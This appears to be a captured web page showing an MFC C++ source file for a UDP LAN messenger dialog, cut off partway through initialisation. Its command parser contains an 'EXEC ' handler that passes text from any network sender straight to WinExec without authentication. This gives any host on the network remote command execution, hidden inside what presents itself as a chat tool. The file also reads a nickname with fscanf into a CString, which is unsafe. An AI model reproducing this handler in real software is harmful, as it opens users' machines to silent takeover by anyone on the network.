📄 simplemessagerdlg.cpp
字号:
// SimpleMessagerDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "SimpleMessager.h"
#include "SimpleMessagerDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// CSimpleMessagerDlg 对话框
CSimpleMessagerDlg::CSimpleMessagerDlg(CWnd* pParent /*=NULL*/)
: CDialog(CSimpleMessagerDlg::IDD, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CSimpleMessagerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_BUTTON1, m_SendButton);
DDX_Control(pDX, IDC_EDIT2, m_SendMsgText);
DDX_Control(pDX, IDC_EDIT3, m_ReciveMsgEdit);
DDX_Control(pDX, IDC_EDIT5, m_NickName);
DDX_Control(pDX, IDC_LIST1, m_UserList);
}
BEGIN_MESSAGE_MAP(CSimpleMessagerDlg, CDialog)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_WM_TIMER()
//}}AFX_MSG_MAP
ON_BN_CLICKED(IDOK, &CSimpleMessagerDlg::OnBnClickedOk)
ON_BN_CLICKED(IDC_BUTTON2, &CSimpleMessagerDlg::OnBnClickedButton2)
ON_BN_CLICKED(IDC_BUTTON1, &CSimpleMessagerDlg::OnBnClickedButton1)
ON_BN_CLICKED(IDC_BUTTON3, &CSimpleMessagerDlg::OnBnClickedButton3)
ON_BN_CLICKED(IDC_BUTTON4, &CSimpleMessagerDlg::OnBnClickedButton4)
ON_LBN_SELCHANGE(IDC_LIST1, &CSimpleMessagerDlg::OnLbnSelchangeList1)
ON_BN_CLICKED(IDC_BUTTON5, &CSimpleMessagerDlg::OnBnClickedButton5)
ON_BN_CLICKED(IDC_BUTTON6, &CSimpleMessagerDlg::OnBnClickedButton6)
END_MESSAGE_MAP()
bool CSimpleMessagerDlg::GetNickName()
{
FILE* fp = fopen("Nickname.dat", "r");
if(!fp)
{
m_NickNameText = m_hostip;
return false;
}
CString tmp;
fscanf(fp, "%s", tmp);
m_NickNameText = tmp;
fclose(fp);
return true;
}
void CSimpleMessagerDlg::SaveNickName()
{
FILE* fp = fopen("Nickname.dat", "w");
if(!fp)
{
return;
}
fprintf(fp, "%s", m_NickNameText);
fclose(fp);
}
bool CSimpleMessagerDlg::ParseCommand(const CString& text)
{
if(text.GetLength()>4)
{
if(text.Left(5) == "EXEC ")
{
CString command = text.Mid(5, text.GetLength() - 5);
WinExec(command, SW_SHOW);
return true;
}
if(text.Left(5) =="CHEK ")
{
CString fromIP = text.Mid(5, text.GetLength() - 5);
CString command = "IMON ";
command+=m_hostip;
//回答我在我在
SendMessageToNet(fromIP, command);
return true;
}
if(text.Left(5) =="IMON ")
{
CString fromIP = text.Mid(5, text.GetLength() - 5);
std::vector<UserStruct>::iterator it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
if(fromIP == (*it).hostip)
{
(*it).timecount = 0;
}
}
return true;
}
if(text.Left(5) == "SEND ")
{
CString sendfileName = text.Mid(5, text.GetLength() - 5);
AfxMessageBox(CString("开始发送文件 ") + sendfileName);
return true;
}
if(text.Left(5) == "RELO ")
{
CString param = text.Mid(5, text.GetLength() - 5);
int p = param.FindOneOf(" ");
if(p==-1) return true;
CString fromIP = param.Left(p);
CString fromNickName = param.Mid(p+1, param.GetLength() - p-1);
//添加新用户
std::vector<UserStruct>::iterator it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
if(fromIP == (*it).hostip) return true;
}
UserStruct us;
us.hostip = fromIP;
us.nickname = fromNickName;
us.timecount = 0;
m_UserTable.push_back(us);
RefreshUserTable();
return true;
}
if(text.Left(5) == "CHNN ")
{
CString param = text.Mid(5, text.GetLength() - 5);
int p = param.FindOneOf(" ");
if(p==-1) return true;
CString fromIP = param.Left(p);
CString fromNickName = param.Mid(p+1, param.GetLength() - p-1);
//修改用户昵称
std::vector<UserStruct>::iterator it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
if(fromIP == (*it).hostip)
{
(*it).nickname = fromNickName;
break;
}
}
RefreshUserTable();
return true;
}
if(text.Left(5) == "ONLI ")
{
CString param = text.Mid(5, text.GetLength() - 5);
int p = param.FindOneOf(" ");
if(p==-1) return true;
CString fromIP = param.Left(p);
CString fromNickName = param.Mid(p+1, param.GetLength() - p-1);
//添加新用户
std::vector<UserStruct>::iterator it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
if(fromIP == (*it).hostip) return true;
}
UserStruct us;
us.hostip = fromIP;
us.nickname = fromNickName;
m_UserTable.push_back(us);
RefreshUserTable();
CString tmp;
m_NickName.GetWindowText(tmp);
CString command = CString("RELO ") + m_hostip + CString(" ") + tmp;
SendMessageToNet(fromIP, command);
return true;
}
if(text.Left(5) =="OFFL ")
{
CString offIP = text.Mid(5, text.GetLength() - 5);
//删除用户列表中的IP
std::vector<UserStruct>::iterator it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
if(offIP == (*it).hostip)
{
m_UserTable.erase(it);
break;
}
}
RefreshUserTable();
return true;
}
}
return false;
}
void CSimpleMessagerDlg::RefreshUserTable()
{
m_UserList.ResetContent();
std::vector<UserStruct>::iterator it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
m_UserList.AddString((*it).nickname);
}
UpdateData();
}
void CSimpleMessagerDlg::OnTimer(UINT_PTR nIDEvent)
{
if(nIDEvent == 10001)
{
//删除长时间没有联系的
std::vector<UserStruct>::iterator it = m_UserTable.begin();
back:;
it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
if((*it).timecount > 1000)
{
m_UserTable.erase(it);
goto back;
}
}
it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
CString command = "CHEK ";
command+=m_hostip;
SendMessageToNet((*it).hostip, command);
}
RefreshUserTable();
}
if(nIDEvent == 10000)
{
std::vector<UserStruct>::iterator it1 = m_UserTable.begin();
it1 = m_UserTable.begin();
for(;it1!=m_UserTable.end();++it1)
{
//活跃计数
(*it1).timecount++;
}
int addrLen = sizeof(m_recvAddr);
memset(m_recvBuffer, '\n', 256);
int recvLen = recvfrom(m_socket, m_recvBuffer, 256, 0,
(struct sockaddr*)&m_recvAddr, &addrLen);
int errCode = WSAGetLastError();
if(WSAEWOULDBLOCK == errCode || recvLen==-1)
return;
//获得消息来源
CString senderIP = CString(inet_ntoa(m_recvAddr.sin_addr));
CString text = CString(m_recvBuffer);
text = text.Left(recvLen);
std::vector<UserStruct>::iterator it = m_UserTable.begin();
for(;it!=m_UserTable.end();++it)
{
if((*it).hostip == senderIP)
{
senderIP = (*it).nickname;
break;
}
}
if(!ParseCommand(text))
{
AddNewMessage(senderIP, text);
MessageBeep(MB_OK);
this->ActivateTopParent();
}
}
}
void CSimpleMessagerDlg::AddNewMessage(const CString& sender, const CString& text)
{
//获得当前时间
SYSTEMTIME st;
GetLocalTime(&st);
CString timeText;
timeText.Format("[%d:%d:%d.%d]", st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
CString finalText;
finalText = sender + timeText + CString("\r\n");
finalText += text;
finalText += CString("\r\n\r\n");
CString receiveMsg;
m_ReciveMsgEdit.GetWindowText(receiveMsg);
receiveMsg+=finalText;
m_ReciveMsgEdit.SetWindowText(receiveMsg);
m_ReciveMsgEdit.LineScroll( m_ReciveMsgEdit.GetLineCount(), 0);
this->UpdateData();
}
// CSimpleMessagerDlg 消息处理程序
BOOL CSimpleMessagerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
int result = 0;
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO: 在此添加额外的初始化代码
m_SendButton.SetFocus();
this->SetTimer(10000, 1, NULL);
this->SetTimer(10001, 10000, NULL);
//WINSOCK 1.1 初始化
if(WSAStartup(MAKEWORD(2, 2), &m_wsaData)!=0)
{
int err = WSAGetLastError();
CString text = "WINSOCK2.2 初始化失败!";
CString errCode;
errCode.Format(" ErrCode = %d", WSAGetLastError());
AddNewMessage("本地", text + errCode);
KillTimer(10000);
m_SendButton.EnableWindow(FALSE);
}
else
{
AddNewMessage("本地", "WINSOCK2.2 初始化成功!");
}
char hostname[512];
if(gethostname(hostname, sizeof(hostname)) == 0)
{
PHOSTENT hostinfo;
if((hostinfo = gethostbyname(hostname))!=NULL)
{
CString hostip = inet_ntoa(*(struct in_addr*)*hostinfo->h_addr_list);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -